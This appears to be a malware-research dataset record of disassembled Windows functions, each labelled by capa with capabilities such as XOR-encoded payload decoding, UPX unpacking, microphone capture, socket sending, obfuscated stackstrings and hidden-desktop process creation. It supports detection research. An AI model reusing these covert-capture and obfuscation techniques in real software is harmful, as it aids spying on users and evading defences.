joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100671d
Capabilities:
Read file via mapping

Disassembly:
mov edi, edi
push esi
push edi
mov esi, ecx
xor edi, edi
cmp dword [esi], edi
jne 0x10067d7
cmp dword [esi + 4], edi
jne 0x10067d7
push ebx
xor ebx, ebx
call sub.cmutil.dll_GetOSVersion
cmp eax, 2
jne 0x1006754
call sub.cmutil.dll_GetOSMajorVersion
cmp eax, 5
jb 0x1006754
push 0x1001dc0
jmp 0x1006759
push 0x1001d9c
push edi
push 6
call dword [0x1009480]
cmp eax, edi
mov dword [esi], eax
je 0x10067ba
push edi
push edi
push edi
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x1006787
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], edi
jmp 0x10067ba
call sub.cmutil.dll_GetOSVersion
cmp eax, 2
jne 0x10067a2
call sub.cmutil.dll_GetOSMajorVersion
cmp eax, 5
jb 0x10067a2
push 0x1001d6c
jmp 0x10067a7
push 0x1001d48
push edi
push 0xe0000000
call dword [0x100948c]
cmp eax, edi
mov dword [esi + 0xc], eax
jne 0x10067d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, edi
jle 0x10067d2
and ebx, 0xffff
or ebx, 0x80070000
mov eax, ebx
pop ebx
jmp 0x10067dc
mov eax, 0x80070005
pop edi
pop esi
ret
Function at 0xcfe624
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0xcfe62a
pop ebp
sub ebp, 6
sub ebp, 0x8fe624
jmp 0xcfe688
jmp 0xcfe691
mov eax, 0x8fe624
add eax, ebp
add eax, 0x93
mov ecx, 0x5a8
mov edx, 0xf2201bbd
xor byte [eax], dl
inc eax
dec ecx
jne 0xcfe6a8
jmp 0xcfe6bb
jo 0xcfe6f4
xor al, 0x81
mov ebp, 0x7c3cbdbd
inc ebp
mov ebp, 0x70bebdbd
add eax, 0xbdbdbdb7
pop es
xchg ebp, eax
mov ebp, 0x5f4abdbd
mov esi, 0xb13c3675
mov ebp, 0x78bebdbd
in eax, dx
in eax, dx
aad 0x89
mov byte [0x53d5bdb3], al
jnp 0xcfe728
mov ebp, 0xd59991bc
wait
fisttp qword [ebp - 0x4247aab3]
mov ebp, 0xbd9554bd
mov ebp, 0xe0e9e8bd
cmp byte ss:[ebp + 0x36bdbdbd], dh
dec ebp
push ebp
mov eax, 0x54bdbdbd
xchg ebp, eax
mov ebp, 0xe9e8bdbd
loopne 0xcfe739
cmp byte [ebp + 0x36bdbdbd], dh
sub byte [ecx + 0x36bdbdbd], dh
xor byte [ebp + 0x7cbdbdbd], ch
push esp
mov edi, 0x7f3ebf8c
mov ecx, 0x4938b2f4
inc edx
inc edx
inc edx
loopne 0xcfe7a4
mov cl, 0xbd
xor dword ss:[ecx - 0x42424247], ebx
xor dword [ecx - 0x42424247], ebx
aad 0x89
mov byte [0x53d5bdb3], al
jnp 0xcfe773
mov ebp, 0xec9991bc
xchg ecx, eax
cdq
in al, dx
push ebp
mov eax, 0x54bdbdbd
invalid
inc esi
push ebp
mov dl, 0x39
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x463dbdbd
push esp
mov dl, 0x39
lodsb al, byte [esi]
mov ebp, 0x3cdbbdbd
inc esi
inc edx
cwde
mov dl, 0x39
test al, 0xbd
mov ebp, 0x7154fcbd
inc edx
inc edx
inc edx
xchg esp, eax
int1
test byte [esi + edi + 0x553eb87c], bh
mov ecx, 0x42420054
inc edx
xchg esp, eax
jmp 0x7d0ea72e

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x401ad0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401b1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401b14
test esi, esi
je 0x401b14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401af0
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401e44
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401dae
cmp eax, 4
jne 0x401dd0
test esi, esi
je 0x401dc2
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401db4
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x401e0f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x401e01
cmp ecx, 0x40
je 0x401dc2
cmp ecx, 4
je 0x401dc2
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d20
lea esi, [esi]
Function at 0x1020c1b0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1020c394
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc7000]
push edi
jmp 0x1020c1da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1020c1e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1020c1d0
mov eax, 1
add ebx, ebx
jne 0x1020c1f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1020c204
jne 0x1020c223
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1020c223
dec eax
add ebx, ebx
jne 0x1020c210
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1020c1e8
add ebx, ebx
jne 0x1020c21f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1020c275
xor ecx, ecx
sub eax, 3
jb 0x1020c23b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1020c2aa
sar eax, 1
mov ebp, eax
jmp 0x1020c246
add ebx, ebx
jne 0x1020c246
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1020c214
inc ecx
add ebx, ebx
jne 0x1020c254
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1020c214
add ebx, ebx
jne 0x1020c261
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1020c256
jne 0x1020c272
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1020c256
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1020c294
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1020c286
jmp 0x1020c1d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1020c294
add edi, ecx
jmp 0x1020c1d6
pop esi
mov edi, esi
mov ecx, 0x9ed
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1020c2b2
cmp byte [edi], 7
jne 0x1020c2b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1020c2b7
lea edi, [esi + 0x209000]
mov eax, dword [edi]
or eax, eax
je 0x1020c326
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x20c224]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20c27c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1020c2e4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20c280]
or eax, eax
je 0x1020c320
mov dword [ebx], eax
add ebx, 4
jmp 0x1020c301
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1020c357
cmp al, 0xef
ja 0x1020c34a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1020c32c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1020c339
mov ebp, dword [esi + 0x20c284]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1020c38b
sub esp, 0xffffff80
jmp 0x10005673
Function at 0x100013fc
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x10001416
xor al, al
jmp 0x1000152f
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 4
mov ecx, dword [ebp - 0x10]
push ecx
push 0x1000163e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x2c], eax
push 0x20000
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x46
push ecx
push 0xffff
mov edx, dword [ebp - 0x10]
add edx, 0x18
push edx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10001470
xor al, al
jmp 0x1000152f
mov dword [ebp - 0xc], 0
jmp 0x10001482
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jge 0x100014ef
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx*4 + 0x30]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + ecx*4 + 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + edx*4 + 0x30]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx*4 + 0x30]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx*4 + 0x30]
mov dword [eax + 0x14], 0
push 0x20
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx*4 + 0x30]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
jmp 0x10001479
push 0x20
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx*4 + 0x30]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStart]
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x44], 1
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000401b
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007e5cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a0
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [ebp - 0x1ac]
add ecx, 4
call fcn.10001ab0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x2c
call fcn.10001ab0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x54
call fcn.10001ab0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x7c
call fcn.10001ab0
mov eax, dword [ebp - 0x1ac]
mov dword [eax], 0x1007f7a8
lea ecx, [ebp - 0x19c]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp - 0x1ac]
mov dword [edx + 0xac], eax
mov eax, dword [ebp - 0x1ac]
mov byte [eax + 0xb7], 0
mov ecx, dword [ebp - 0x1ac]
mov dword [ecx + 0xa8], 0xffffffff
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov byte [ebp - 0x1a8], 0
xor edx, edx
mov dword [ebp - 0x1a7], edx
mov word [ebp - 0x1a3], dx
mov dword [ebp - 0x1a0], 0
jmp 0x10004121
mov eax, dword [ebp - 0x1a0]
add eax, 1
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 7
jge 0x10004147
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x1a0]
mov byte [ebp + eax - 0x1a8], dl
jmp 0x10004112
push 7
lea ecx, [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 0x1ac]
add edx, 0xb0
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10004e74
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov word [ebp - 4], 1
mov word [ebp - 2], 0
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov edx, dword [ebp - 8]
add edx, 0xb7
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xa8], 0xffffffff
mov esp, ebp
pop ebp
ret

Function at 0x10005172
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jmp 0x100051ae
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x10005223
mov dword [ebp - 0x18], 0
jmp 0x100051c8
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x10]
jge 0x100051f7
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x100051f5
jmp 0x100051f7
jmp 0x100051bf
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jne 0x10005207
or eax, 0xffffffff
jmp 0x10005290
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100051a5
cmp dword [ebp - 4], 0
jle 0x10005280
mov dword [ebp - 0x1c], 0
jmp 0x1000523b
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x10]
jge 0x1000526a
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x10005268
jmp 0x1000526a
jmp 0x10005232
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jne 0x10005277
or eax, 0xffffffff
jmp 0x10005290
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x1000528d
mov eax, dword [ebp - 0x14]
jmp 0x10005290
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000534e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0x28], 0x13
mov byte [ebp - 0x27], 0xd4
mov byte [ebp - 0x26], 0xd3
mov byte [ebp - 0x25], 0x85
mov byte [ebp - 0x24], 0xc0
mov byte [ebp - 0x23], 0x98
mov byte [ebp - 0x22], 0xf2
mov byte [ebp - 0x21], 6
mov byte [ebp - 0x20], 0xe8
mov byte [ebp - 0x1f], 0x7d
mov byte [ebp - 0x1e], 0x36
mov byte [ebp - 0x1d], 0x21
mov byte [ebp - 0x1c], 0x2a
mov byte [ebp - 0x1b], 0xb
mov byte [ebp - 0x1a], 0x16
mov byte [ebp - 0x19], 0x5f
mov byte [ebp - 0x18], 0x5f
mov byte [ebp - 0x17], 0x55
mov byte [ebp - 0x16], 0x4b
mov byte [ebp - 0x15], 0x3e
mov byte [ebp - 0x14], 0x34
mov byte [ebp - 0x13], 0x2a
mov byte [ebp - 0x12], 0x2d
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x18
mov byte [ebp - 0xf], 0x13
mov byte [ebp - 0xe], 0xf
mov byte [ebp - 0xd], 0x29
mov byte [ebp - 0xc], 0x3d
mov byte [ebp - 0xb], 0x1f
mov byte [ebp - 0xa], 0x15
mov byte [ebp - 9], 0x33
mov byte [ebp - 8], 0xd
mov byte [ebp - 7], 0xe
mov dword [ebp - 0x34], 0x22
mov word [ebp - 4], 0
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 3
div ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
jmp 0x1000540d
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jae 0x10005454
mov ecx, dword [ebp - 4]
and ecx, 0xffff
cmp ecx, dword [ebp - 0x34]
jne 0x10005429
mov word [ebp - 4], 0
mov edx, dword [ebp - 4]
and edx, 0xffff
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x30]
mov cl, byte [eax]
xor cl, byte [ebp + edx - 0x28]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x30]
mov byte [edx], cl
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
jmp 0x10005404
mov esp, ebp
pop ebp
ret 8
Function at 0x10005652
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x228], 0
push 0x105
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x100890a8
push 0x5c
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
add eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x238]
mov eax, dword [edx + 0x14]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100890c0
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x23
lea eax, [ebp - 0x224]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x10089104
lea ecx, [ebp - 0x224]
push ecx
push 0x10089134
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x224]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x1000
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 8], eax
mov dword [ebp - 0x11c], 0
jmp 0x1000574a
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
cmp dword [ebp - 0x11c], 2
jae 0x100057c9
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + ecx*4 - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x22c], edx
jmp 0x100057a6
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x22c]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x22c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x100057c4
mov edx, dword [ebp - 0x228]
add edx, 1
mov dword [ebp - 0x228], edx
jmp 0x10005789
jmp 0x1000573b
mov eax, dword [ebp - 8]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x228]
mov esp, ebp
pop ebp
ret
Function at 0x100057eb
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x114], 0x100
mov dword [ebp - 4], 0x100
mov eax, dword [ebp - 0x21c]
cmp dword [eax + 0x14], 0
jne 0x1000581e
xor eax, eax
jmp 0x100058b1
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax + 0x14]
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10005855
xor eax, eax
jmp 0x100058b1
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x1000586a
xor eax, eax
jmp 0x100058b1
push 0x1008913c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push str.ConvertSidToStringSidA
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100058a1
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x118]
mov esp, ebp
pop ebp
ret
Function at 0x10006c92
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push edi
mov dword [ebp - 0x4b8], ecx
mov eax, 1
test eax, eax
je 0x10006dc6
cmp dword [ebp + 0xc], 0
jne 0x10006dc6
mov ecx, dword [0x10089288]
mov dword [ebp - 0x470], ecx
mov edx, dword [0x1008928c]
mov dword [ebp - 0x46c], edx
mov ax, word [0x10089290]
mov word [ebp - 0x468], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x466]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x10000002
push 0
push 0
push 0
lea ecx, [ebp - 0x470]
push ecx
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
jne 0x10006d1d
jmp 0x10006dc6
mov dword [ebp - 0x4b4], 0x44
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x4b0]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x470]
mov dword [ebp - 0x4ac], edx
mov dword [ebp - 0x36c], 0
xor eax, eax
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], eax
lea ecx, [ebp - 0x36c]
push ecx
lea edx, [ebp - 0x4b4]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10006da6
mov ecx, dword [ebp - 0x368]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x36c]
push edx
